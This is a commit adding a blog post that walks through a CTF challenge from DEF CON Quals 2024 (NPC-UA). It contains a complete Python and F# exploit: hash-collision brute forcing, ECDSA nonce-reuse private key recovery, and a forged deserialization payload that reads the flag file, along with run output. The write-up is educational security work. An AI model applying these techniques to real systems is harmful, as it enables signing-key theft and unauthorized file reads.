add defcon quals post
This commit is contained in:
parent
cd7a48538a
commit
fd5d9068a6
|
@ -0,0 +1,592 @@
|
||||||
|
# defcon quals writeup: NPC-UA
|
||||||
|
|
||||||
|
earlier this month i got to play defcon quals with shellphish. it was overall a good time, but we
|
||||||
|
unfortunately (likely) didn't qualify for finals, which ends a 20 year long streak of shellphish
|
||||||
|
qualifying. this is very sad, but on the upside i get another year to cook my tooling (that i have
|
||||||
|
not worked on for like months at this point) and won't have to make the tough choice of whether to
|
||||||
|
spend my time playing CTF or like, actually being at defcon, so it's not all bad
|
||||||
|
|
||||||
|
NPC-UA is a .NET challenge that mimics the industry standard (apparently) OPC-UA protocol for
|
||||||
|
communicating with industrial control systems. the high level overview of the exploit is combining
|
||||||
|
an ECDSA nonce reuse vulnerability with a deserialization primitive to read out the flag file
|
||||||
|
|
||||||
|
## a bit on tooling
|
||||||
|
|
||||||
|
for .NET stuff i tend to use (jetbrains) dotPeek, which has the unfortunate downside of being
|
||||||
|
windows only (and closed source, boo...) but during the CTF i also was trying out
|
||||||
|
[AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy) and because i don't really want to
|
||||||
|
boot up my windows VM right now this writeup is going to use that. it's a bit less polished than
|
||||||
|
dotPeek but perfectly capable
|
||||||
|
|
||||||
|
## challenge files
|
||||||
|
|
||||||
|
- the original challenge file: [ic_server.tar.gz](https://git.lain.faith/haskal/writeups/raw/branch/main/2024/defcon-quals/ic_server.tar.gz)
|
||||||
|
- challenge source: <https://github.com/Nautilus-Institute/quals-2024/tree/main/npc-ua>
|
||||||
|
|
||||||
|
we have 2 main files of interest: `npcua.nautilus.dll` and `crypto.nautilus.dll`. we can load up all
|
||||||
|
the dependencies and the 2 main files into ilspy (at once, so it can resolve the external calls).
|
||||||
|
crypto is smaller so we'll look at it first
|
||||||
|
|
||||||
|
### running the server
|
||||||
|
|
||||||
|
the server needs a few files and it's not obvious how to generate them so here's what you need
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl ecparam -name secp256k1 -genkey -noout -out key.pem
|
||||||
|
openssl ec -in key.pem -pubout -out public.pem
|
||||||
|
echo "flag{TESTFLAG}" > flag.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
now the provided docker file and run_on_socket.sh script can be used
|
||||||
|
|
||||||
|
## `crypto.nautilus`
|
||||||
|
|
||||||
|
here's everything in this module
|
||||||
|
|
||||||
|
![all the classes of importance defined in crypto.nautilus.dll: Crypto and
|
||||||
|
DeterministicECDSA](crypto.nautilus.png)
|
||||||
|
|
||||||
|
### deterministic ECDSA
|
||||||
|
|
||||||
|
first of all, for a primer on elliptic curve cryptography and ECDSA see
|
||||||
|
[this writeup](/posts/2023-09-19-csaw-quals-2023-post#elliptic-curve-crypto). yes, that post was
|
||||||
|
made before i had a blog platform with mathML available. and i haven't gone back and changed it to
|
||||||
|
use proper math now either. sorry,,
|
||||||
|
|
||||||
|
here's the code from ILSpy for `DeterministicECDSA`:
|
||||||
|
|
||||||
|
```cs
|
||||||
|
internal class DeterministicECDSA : IDsaKCalculator
|
||||||
|
{
|
||||||
|
private readonly HMac hMac;
|
||||||
|
|
||||||
|
public readonly byte[] K;
|
||||||
|
|
||||||
|
public readonly byte[] V;
|
||||||
|
|
||||||
|
private BigInteger n;
|
||||||
|
|
||||||
|
public virtual bool IsDeterministic => true;
|
||||||
|
|
||||||
|
public DeterministicECDSA(IDigest digest, uint HashCode)
|
||||||
|
{
|
||||||
|
hMac = new HMac(digest);
|
||||||
|
V = new byte[hMac.GetMacSize()];
|
||||||
|
K = new byte[hMac.GetMacSize()];
|
||||||
|
n = BigInteger.Zero;
|
||||||
|
byte[] bytes = BitConverter.GetBytes(HashCode);
|
||||||
|
Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public virtual void Init(BigInteger n, SecureRandom random)
|
||||||
|
{
|
||||||
|
throw new InvalidOperationException("Operation not supported");
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Init(BigInteger n, BigInteger d, byte[] message)
|
||||||
|
{
|
||||||
|
this.n = n;
|
||||||
|
byte[] bytes = BitConverter.GetBytes((uint)d.GetHashCode());
|
||||||
|
Buffer.BlockCopy(bytes, 0, K, 0, bytes.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public virtual BigInteger NextK()
|
||||||
|
{
|
||||||
|
byte[] array = new byte[BigIntegers.GetUnsignedByteLength(n)];
|
||||||
|
BigInteger bigInteger;
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
int num;
|
||||||
|
for (int i = 0; i < array.Length; i += num)
|
||||||
|
{
|
||||||
|
hMac.BlockUpdate(V, 0, V.Length);
|
||||||
|
hMac.DoFinal(V, 0);
|
||||||
|
num = Math.Min(array.Length - i, V.Length);
|
||||||
|
Array.Copy(V, 0, array, i, num);
|
||||||
|
}
|
||||||
|
bigInteger = BitsToInt(array);
|
||||||
|
if (bigInteger.SignValue > 0 && bigInteger.CompareTo(n) < 0)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
hMac.BlockUpdate(V, 0, V.Length);
|
||||||
|
hMac.Update(0);
|
||||||
|
hMac.DoFinal(K, 0);
|
||||||
|
hMac.Init(new KeyParameter(K));
|
||||||
|
hMac.BlockUpdate(V, 0, V.Length);
|
||||||
|
hMac.DoFinal(V, 0);
|
||||||
|
}
|
||||||
|
return bigInteger;
|
||||||
|
}
|
||||||
|
|
||||||
|
private BigInteger BitsToInt(byte[] t)
|
||||||
|
{
|
||||||
|
BigInteger bigInteger = new BigInteger(1, t);
|
||||||
|
if (t.Length * 8 > n.BitLength)
|
||||||
|
{
|
||||||
|
bigInteger = bigInteger.ShiftRight(t.Length * 8 - n.BitLength);
|
||||||
|
}
|
||||||
|
return bigInteger;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
this implements [deterministic ECDSA (RFC 6979)](https://datatracker.ietf.org/doc/html/rfc6979),
|
||||||
|
which is a scheme for computing ECDSA signatures without a source of cryptographic randomness
|
||||||
|
available. in this case, the challenge is emulating an industrial control system type of scenario
|
||||||
|
where having a good TRNG might not be guaranteed. RFC 6979 specifies how to generate the $k$
|
||||||
|
values needed for the signatures, which are normally required to be random. If different messages
|
||||||
|
are signed with the same $k$ and the same key, it becomes possible to recover the key using some
|
||||||
|
simple modular arithmetic.
|
||||||
|
|
||||||
|
In RFC 6979, the procedure to generate $k$ goes like this
|
||||||
|
|
||||||
|
1. Hash the message $m$ to produce $h_1 = H(m)$
|
||||||
|
2. Initialize $V = {01\ 01\ 01\ \dots\ 01}_{16}$ and $K = {00\ 00\ 00\ \dots\ 00}_{16}$
|
||||||
|
3. Compute $K = \operatorname{HMAC}_K(V \parallel 00_{16} \parallel x \parallel h_1)$, where $x$ is
|
||||||
|
the private key
|
||||||
|
4. Do more HMAC computations to arrive at the final result $k$, this part is not important
|
||||||
|
|
||||||
|
The only input to this scheme that varies is the message hash, $h_1$. If you know $m$ and therefore
|
||||||
|
$h_1$, you still cannot guess $k$ because it involves HMAC computations including the private key
|
||||||
|
$x$. However, any $k$ value calculated is unique per unique $h_1$.
|
||||||
|
|
||||||
|
With this knowledge let's look back at the constructor of the class
|
||||||
|
```cs
|
||||||
|
public DeterministicECDSA(IDigest digest, uint HashCode)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
byte[] bytes = BitConverter.GetBytes(HashCode);
|
||||||
|
Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The value used for $V$ is a 32 bit hashcode. Normally, you'd use a cryptographic hash like SHA-2.
|
||||||
|
The procedure here also departs from the RFC in some other ways. So let's look at where `HashCode`
|
||||||
|
comes from
|
||||||
|
|
||||||
|
```cs
|
||||||
|
public class Crypto
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
|
||||||
|
public string SignString(string data)
|
||||||
|
{
|
||||||
|
uint hashCode = (uint)data.GetHashCode();
|
||||||
|
ECPrivateKeyParameters parameters = (ECPrivateKeyParameters)keyPair.Private;
|
||||||
|
DeterministicECDSA kCalculator = new DeterministicECDSA(new Sha256Digest(), hashCode);
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The `hashCode` is computed using the regular C# builtin `GetHashCode` function. Since it's only 32
|
||||||
|
bits and non-cryptographic, it should be possible to generate a collision and then use this to
|
||||||
|
generate two signatures with identical $k$ values. This can be used to recover the private key.
|
||||||
|
|
||||||
|
### brute forcing
|
||||||
|
|
||||||
|
the official organizer solution has a convoluted Z3 script to compute a hash collision, but during
|
||||||
|
the CTF we chose the much simpler approach of brute force, which also worked. the following code
|
||||||
|
isn't the original script we developed because that one is a huge mess and kind of awful. instead,
|
||||||
|
here's a much shorter and cleaned up solution
|
||||||
|
|
||||||
|
.NET uses a hashing function called "marvin32", and the implementation is located in the private
|
||||||
|
`System.Marvin` module, so we will need to use reflection to be able to invoke it. additionally,
|
||||||
|
since it uses a weird ref struct thing as a parameter (i don't know .NET and a lot of this is kind
|
||||||
|
of annoying magic to me) so we have to use a delegate to call it via reflection
|
||||||
|
|
||||||
|
```fsharp
|
||||||
|
open System
|
||||||
|
open System.Runtime.InteropServices
|
||||||
|
|
||||||
|
let marvin = "".GetType().Assembly.GetType("System.Marvin")
|
||||||
|
(* obtain the MethodInfo for the 2-argument ComputeHash32 method *)
|
||||||
|
(* this is kind of hax, since the method we want happens to be the first one *)
|
||||||
|
(* i couldn't figure out another way to do this because of the weird ref struct fuckery *)
|
||||||
|
let computehash32 = marvin.GetMethods()[0]
|
||||||
|
type ComputeHash32 = delegate of ReadOnlySpan<byte> * uint64 -> int
|
||||||
|
let computehash32_delegate = computehash32.CreateDelegate<ComputeHash32>()
|
||||||
|
|
||||||
|
let seeded_hashcode (seed : uint64) (str : string) : int =
|
||||||
|
let bytes = MemoryMarshal.AsBytes(str.AsSpan()) in
|
||||||
|
computehash32_delegate.Invoke(bytes, seed)
|
||||||
|
```
|
||||||
|
|
||||||
|
now we're ready to brute force. this simply iterates over numbers and stores the hashcode of the
|
||||||
|
stringified versions of those until a collision is found, at which point the colliding inputs are
|
||||||
|
printed
|
||||||
|
|
||||||
|
```fsharp
|
||||||
|
let seed = Environment.GetEnvironmentVariable("SEED") |> UInt64.Parse
|
||||||
|
|
||||||
|
let rec search (candidates : Map<int, string>) (i : int) : unit =
|
||||||
|
let j = i.ToString() in
|
||||||
|
let hashcode = seeded_hashcode seed ("\"" + j + "\"") in
|
||||||
|
match candidates.TryFind hashcode with
|
||||||
|
| None -> search (candidates.Add(hashcode, j)) (i + 1)
|
||||||
|
| Some value -> printfn "%s" value; printfn "%s" j
|
||||||
|
in
|
||||||
|
search (Map<int, string> []) 0
|
||||||
|
```
|
||||||
|
|
||||||
|
Microsoft OCaml is weird. i'm not sure i like it a huge amount, but i'd rather be writing this than
|
||||||
|
directly writing Microsoft Java
|
||||||
|
|
||||||
|
let's try it out
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nix-shell --pure -p dotnet-sdk --run 'env SEED=1337 dotnet run'
|
||||||
|
```
|
||||||
|
```
|
||||||
|
8654
|
||||||
|
49821
|
||||||
|
```
|
||||||
|
|
||||||
|
## `npcua.nautilus`
|
||||||
|
|
||||||
|
this is the main module. i'm going to kind of gloss over reversing the code because at this point
|
||||||
|
this blog post has been sitting in my drafts for literally an entire month. if you do the reversing
|
||||||
|
you'll find that the server supports network commands to read and write values, which can be special
|
||||||
|
server variables such as `"npc://variable/environment"` or reflected .NET values such as, well
|
||||||
|
conveniently, `"npc://system/Marvin/DefaultSeed"`. it also contains an import and export function
|
||||||
|
which serializes and deserializes payloads which are signed using the functions we covered in
|
||||||
|
`crypto.nautilus`. so the exploit strategy is to read out the current marvin hash seed, generate a
|
||||||
|
collision, use that to forge a signature on an arbitrary deserialization payload, and hopefully get
|
||||||
|
the flag
|
||||||
|
|
||||||
|
## the full exploit
|
||||||
|
|
||||||
|
starting with some boilerplate
|
||||||
|
|
||||||
|
```python
|
||||||
|
import ast
|
||||||
|
import binascii
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from enum import IntEnum
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import struct
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature
|
||||||
|
from cryptography.hazmat.primitives.serialization import load_pem_public_key, load_pem_private_key
|
||||||
|
from cryptography.hazmat.primitives import hashes
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import ec
|
||||||
|
from cryptography.exceptions import InvalidSignature
|
||||||
|
import nclib
|
||||||
|
|
||||||
|
def p32(x):
|
||||||
|
return struct.pack("<I", x)
|
||||||
|
|
||||||
|
def u32(x):
|
||||||
|
return struct.unpack("<I", x)[0]
|
||||||
|
```
|
||||||
|
|
||||||
|
these classes and functions convert between OPC-UA style messages and a convenient python
|
||||||
|
data representation. there isn't like, a lot of interesting content here. the network protocol is
|
||||||
|
nearly unrelated to the actual exploit, but we still need the code to be able to talk to the service
|
||||||
|
|
||||||
|
```python
|
||||||
|
class AttributeId(IntEnum):
|
||||||
|
NodeId = 1
|
||||||
|
NodeClass = 2
|
||||||
|
DisplayName = 4
|
||||||
|
Description = 5
|
||||||
|
Value = 13
|
||||||
|
|
||||||
|
class ServiceId(IntEnum):
|
||||||
|
READ_SERVICE = 629
|
||||||
|
WRITE_SERVICE = 630
|
||||||
|
EXPORT_SERVICE = 631
|
||||||
|
IMPORT_SERVICE = 632
|
||||||
|
|
||||||
|
def make_msg(type_, data):
|
||||||
|
assert len(type_) == 3
|
||||||
|
return type_ + b"\x00" + p32(len(data)+8) + data
|
||||||
|
|
||||||
|
def make_hello(endpoint: bytes):
|
||||||
|
num = p32(0)
|
||||||
|
serialized = num*5 + p32(len(endpoint)) + endpoint
|
||||||
|
return make_msg(b"HEL", serialized)
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class Message:
|
||||||
|
type_: bytes
|
||||||
|
reserved: bytes
|
||||||
|
data: bytes
|
||||||
|
|
||||||
|
def read_msg(r) -> Message :
|
||||||
|
type_ = r.readexactly(3)
|
||||||
|
reserved = r.readexactly(1)
|
||||||
|
length = r.readexactly(4)
|
||||||
|
remaining_length = u32(length) - 8
|
||||||
|
data = r.readexactly(remaining_length)
|
||||||
|
return Message(type_, reserved, data)
|
||||||
|
|
||||||
|
def make_sec_msg_header():
|
||||||
|
return (
|
||||||
|
p32(0) # item
|
||||||
|
+ p32(0) # length1
|
||||||
|
+ p32(0) # length2
|
||||||
|
+ p32(0) # num1
|
||||||
|
+ p32(0) # num2
|
||||||
|
+ p32(0) # num3
|
||||||
|
)
|
||||||
|
def make_msg_msg(service_id, json_):
|
||||||
|
serialized = (
|
||||||
|
make_sec_msg_header()
|
||||||
|
+ p32(0) # num1
|
||||||
|
+ p32(0) # num2
|
||||||
|
+ p32(0) # num3
|
||||||
|
+ p32(0) # num4
|
||||||
|
+ p32(service_id)
|
||||||
|
+ json.dumps(json_).encode()
|
||||||
|
)
|
||||||
|
return make_msg(b"MSG", serialized)
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class SecMessage:
|
||||||
|
send_sec: bool
|
||||||
|
policy_uri: bytes
|
||||||
|
pubkey: bytes
|
||||||
|
rest: bytes
|
||||||
|
|
||||||
|
def parse_sec_msg(data):
|
||||||
|
send_sec = bool(u32(data[0:4]))
|
||||||
|
policy_uri_len = u32(data[4:8])
|
||||||
|
policy_uri = data[8:8+policy_uri_len]
|
||||||
|
i = 8 + policy_uri_len
|
||||||
|
pubkey_length = u32(data[i:i+4]); i += 4
|
||||||
|
pubkey = data[i:i+pubkey_length]; i += pubkey_length
|
||||||
|
# next 3 dwords are zeros, I think
|
||||||
|
rest = data[i + 3*4:]
|
||||||
|
return SecMessage(
|
||||||
|
send_sec=send_sec,
|
||||||
|
policy_uri=policy_uri,
|
||||||
|
pubkey=pubkey,
|
||||||
|
rest=rest,
|
||||||
|
)
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ServiceResponse:
|
||||||
|
data: dict
|
||||||
|
sec_msg: SecMessage
|
||||||
|
|
||||||
|
def read_service_response(r):
|
||||||
|
msg = read_msg(r)
|
||||||
|
sec_msg = parse_sec_msg(msg.data)
|
||||||
|
response_data = json.loads(sec_msg.rest.decode())
|
||||||
|
return ServiceResponse(response_data, sec_msg)
|
||||||
|
|
||||||
|
DEFAULT_HDR = {
|
||||||
|
"authToken": "",
|
||||||
|
"timestamp": 0,
|
||||||
|
"requestHandle": 0,
|
||||||
|
"returnDiagnostics": 1,
|
||||||
|
"auditEntryId": "foo",
|
||||||
|
"timeoutHint": 100,
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
this function creates a request to read out the marvin seed using the read functionality. using the
|
||||||
|
URL `"npc://system/Marvin/DefaultSeed"` results in the service doing the reflection operations to
|
||||||
|
read out a field from an arbitrary class in `System.Private.CoreLib`. this still works even if the
|
||||||
|
class and field are private
|
||||||
|
|
||||||
|
```python
|
||||||
|
def get_marvin_seed():
|
||||||
|
r.send(make_msg_msg(ServiceId.READ_SERVICE, {
|
||||||
|
"requestHeader": DEFAULT_HDR,
|
||||||
|
"nodesToRead": [{
|
||||||
|
# Crafts string "System.Private.CoreLib/System.foo/bar"
|
||||||
|
# which will call assembly = Assembly.Load("System.Private.CoreLib)
|
||||||
|
# then type = assembly.GetType("System.foo")
|
||||||
|
# then property = type.GetProperty("bar")
|
||||||
|
# then return property.GetValue(null, null).ToString()
|
||||||
|
# since we asked for AttributeId.Value
|
||||||
|
"nodeId": "npc://system/Marvin/DefaultSeed",
|
||||||
|
"attributeId": AttributeId.Value,
|
||||||
|
}]
|
||||||
|
|
||||||
|
}))
|
||||||
|
response = read_service_response(r)
|
||||||
|
seed = int(ast.literal_eval(response.data["results"][0]["value"]["data"]))
|
||||||
|
return seed
|
||||||
|
```
|
||||||
|
|
||||||
|
this implements the functionality to write a given value to the service and observe an ECDSA
|
||||||
|
signature for that value. the signature is a simple ASN.1 object with the two parts $r$ and $s$ and
|
||||||
|
it can be decoded using the cryptography package into python ints
|
||||||
|
|
||||||
|
```python
|
||||||
|
def decode_signature(b64):
|
||||||
|
r, s = decode_dss_signature(binascii.a2b_base64(b64))
|
||||||
|
return r, s
|
||||||
|
|
||||||
|
def signature_oracle(data):
|
||||||
|
r.send(make_msg_msg(ServiceId.WRITE_SERVICE, {
|
||||||
|
"requestHeader": DEFAULT_HDR,
|
||||||
|
"nodesToWrite": [{
|
||||||
|
"nodeId": "npc://variable/environment",
|
||||||
|
"attributeId": AttributeId.Value,
|
||||||
|
"value": data,
|
||||||
|
}]
|
||||||
|
|
||||||
|
}))
|
||||||
|
response = read_service_response(r)
|
||||||
|
if response.data["results"][0]["statusCode"] != 0:
|
||||||
|
raise Exception("failed to write!")
|
||||||
|
r.send(make_msg_msg(ServiceId.READ_SERVICE, {
|
||||||
|
"requestHeader": DEFAULT_HDR,
|
||||||
|
"nodesToRead": [{
|
||||||
|
"nodeId": "npc://variable/environment",
|
||||||
|
"attributeId": AttributeId.Value,
|
||||||
|
}]
|
||||||
|
|
||||||
|
}))
|
||||||
|
response = read_service_response(r)
|
||||||
|
sig = response.data["results"][0]["value"]["signature"]
|
||||||
|
return decode_signature(sig)
|
||||||
|
```
|
||||||
|
|
||||||
|
assuming we've cracked the private key, this function allows running an import operation with an
|
||||||
|
arbitrary payload and creating a forged ECDSA signature for it
|
||||||
|
|
||||||
|
```python
|
||||||
|
DEFAULT_CURVE = ec.SECP256K1()
|
||||||
|
|
||||||
|
def run_payload(recovered_d, payload):
|
||||||
|
key = ec.derive_private_key(recovered_d, DEFAULT_CURVE)
|
||||||
|
sig = key.sign(payload.encode('utf-16le'), ec.ECDSA(hashes.SHA256()))
|
||||||
|
sig = binascii.b2a_base64(sig).decode()
|
||||||
|
r.send(make_msg_msg(ServiceId.IMPORT_SERVICE, {
|
||||||
|
"requestHeader": DEFAULT_HDR,
|
||||||
|
"nodesToImport": [{
|
||||||
|
"data": payload,
|
||||||
|
"signature": sig,
|
||||||
|
}]
|
||||||
|
}))
|
||||||
|
resp = read_service_response(r)
|
||||||
|
print(resp.data)
|
||||||
|
```
|
||||||
|
|
||||||
|
this is a utility function to run our previous .NET program and generate some HashCode-colliding
|
||||||
|
strings provided a given seed
|
||||||
|
|
||||||
|
```python
|
||||||
|
def get_seed_colliders(seed):
|
||||||
|
return subprocess.check_output(
|
||||||
|
["dotnet", "run"], env={"SEED": str(seed), **os.environ}) \
|
||||||
|
.decode('utf-8').strip().split("\n")
|
||||||
|
```
|
||||||
|
|
||||||
|
finally, this function implements the nonce-reuse attack on ECDSA. we can factor out the common $k$
|
||||||
|
that was used from both signatures and then use that to recover the private key $d$. all operations
|
||||||
|
here are modulo the order $n$ of the curve group. $m_1$ and $m_2$ are the two messages, and
|
||||||
|
$r_1, s_1$ and $r_2, s_2$ are the two observed signatures made with the $k$ reuse. see also: [ECDSA
|
||||||
|
primer](/posts/2023-09-19-csaw-quals-2023-post#elliptic-curve-crypto)
|
||||||
|
|
||||||
|
```python
|
||||||
|
# secp256k1
|
||||||
|
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
|
||||||
|
|
||||||
|
def recover_d(m1, r1, s1, m2, r2, s2):
|
||||||
|
global n
|
||||||
|
z1 = int.from_bytes(hashlib.sha256(m1).digest(), 'big')
|
||||||
|
z2 = int.from_bytes(hashlib.sha256(m2).digest(), 'big')
|
||||||
|
k = ((z2 - z1) * pow(s2 - s1, -1, n)) % n
|
||||||
|
|
||||||
|
d = ((s1 * k - z1) * pow(r1, -1, n)) % n
|
||||||
|
return d
|
||||||
|
```
|
||||||
|
|
||||||
|
now we put it all together. first, connect to the service, obtain the seed, generate collisions, and
|
||||||
|
recover the private key
|
||||||
|
|
||||||
|
```python
|
||||||
|
if __name__ == "__main__":
|
||||||
|
r = nclib.Netcat("localhost:8081")
|
||||||
|
print("connected")
|
||||||
|
|
||||||
|
marvin_seed = get_marvin_seed()
|
||||||
|
print("seed", marvin_seed)
|
||||||
|
|
||||||
|
m1, m2 = get_seed_colliders(marvin_seed)
|
||||||
|
print(f"m1: {m1!r}, m2: {m2!r}")
|
||||||
|
|
||||||
|
r1, s1 = signature_oracle(m1)
|
||||||
|
print("message 1 sig", r1, s1)
|
||||||
|
r2, s2 = signature_oracle(m2)
|
||||||
|
print("message 2 sig", r2, s2)
|
||||||
|
|
||||||
|
d = recover_d(f'"{m1}"'.encode('utf-16le'), r1, s1, f'"{m2}"'.encode('utf-16le'), r2, s2)
|
||||||
|
print("cracked the private key", d)
|
||||||
|
```
|
||||||
|
|
||||||
|
finally, generate and forge a signature for the payload. here, it turns out that the class
|
||||||
|
(representing an F# closure) `NPCUA+loadPublicKey` of `npcua.nautilus` can be inserted into the
|
||||||
|
payload to instantiate it with an arbitrary file path instead of the usual public key path. this
|
||||||
|
will result in the public key contents being overwritten with the contents of the given file, and
|
||||||
|
this can be read out on a subsequent read request
|
||||||
|
|
||||||
|
```python
|
||||||
|
payload = {
|
||||||
|
"_flags": "subtype",
|
||||||
|
"subtype": {
|
||||||
|
"Case": "NamedType",
|
||||||
|
"Name": "NPCUA+loadPublicKey@435",
|
||||||
|
"Assembly": {
|
||||||
|
"Name": "npcua.nautilus",
|
||||||
|
"Version": "1.0.0.0",
|
||||||
|
"Culture": "neutral",
|
||||||
|
"PublicKeyToken": ""
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"instance": {
|
||||||
|
"pubkeypath": "/flag.txt"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
payload = json.dumps(payload)
|
||||||
|
print(payload)
|
||||||
|
run_payload(d, payload)
|
||||||
|
```
|
||||||
|
|
||||||
|
now the next read request will contain the flag where the public key data should be
|
||||||
|
|
||||||
|
```python
|
||||||
|
r.send(make_msg_msg(ServiceId.READ_SERVICE, {
|
||||||
|
"requestHeader": DEFAULT_HDR,
|
||||||
|
"nodesToRead": [{
|
||||||
|
"nodeId": "npc://variable/environment",
|
||||||
|
"attributeId": AttributeId.Value,
|
||||||
|
}]
|
||||||
|
|
||||||
|
}))
|
||||||
|
response = read_service_response(r)
|
||||||
|
print(response.sec_msg.pubkey)
|
||||||
|
```
|
||||||
|
|
||||||
|
let's try it out
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nix-shell --pure -p dotnet-sdk -p python312 \
|
||||||
|
-p python312Packages.nclib \
|
||||||
|
-p python312Packages.cryptography \
|
||||||
|
--run 'python3 exploit.py'
|
||||||
|
```
|
||||||
|
```
|
||||||
|
connected
|
||||||
|
seed 10102463054732467792
|
||||||
|
m1: '115125', m2: '129970'
|
||||||
|
message 1 sig 36543756359397497722035046970971111541497695984569986288499787519776152928406 97404277344851007915084942883128486005554294925527719094904206023362105536268
|
||||||
|
message 2 sig 36543756359397497722035046970971111541497695984569986288499787519776152928406 36947863524362341205378268624583843448888073187358738954544173689935462272643
|
||||||
|
cracked the private key 30774635644485029908090334147150559547480731425600142680743337346815506314317
|
||||||
|
{"_flags": "subtype", "subtype": {"Case": "NamedType", "Name": "NPCUA+loadPublicKey@435", "Assembly": {"Name": "npcua.nautilus", "Version": "1.0.0.0", "Culture": "neutral", "PublicKeyToken": ""}}, "instance": {"pubkeypath": "/flag.txt"}}
|
||||||
|
{'responseHeader': {'timestamp': 133619595308606557, 'requestHandle': 0, 'serviceResult': 0, 'serviceDiagnostics': None, 'stringTable': []}, 'error': 'The operation succeeded.', 'diagnosticInfos': []}
|
||||||
|
b'flag{TESTFLAG}\n'
|
||||||
|
```
|
Binary file not shown.
After Width: | Height: | Size: 116 KiB |
Loading…
Reference in New Issue